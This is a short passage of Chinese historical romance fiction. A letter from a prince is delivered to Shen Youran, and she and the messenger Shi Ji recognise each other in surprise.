周夫人忙吩咐贴身嬷嬷去请小姐来前厅,不一会,沈悠然匆匆而来,周夫人语气淡淡道,“你表哥有信捎给你。” 沈悠然低垂着头,轻轻嗯了一声,时济上前将书信递给沈悠然,“沈小姐,王爷给您的书信。” 沈悠然接过书信,微微抬眸,正要道谢,目光正和时济对上,两人惊得同时后退一步,异口同声道,“是你?”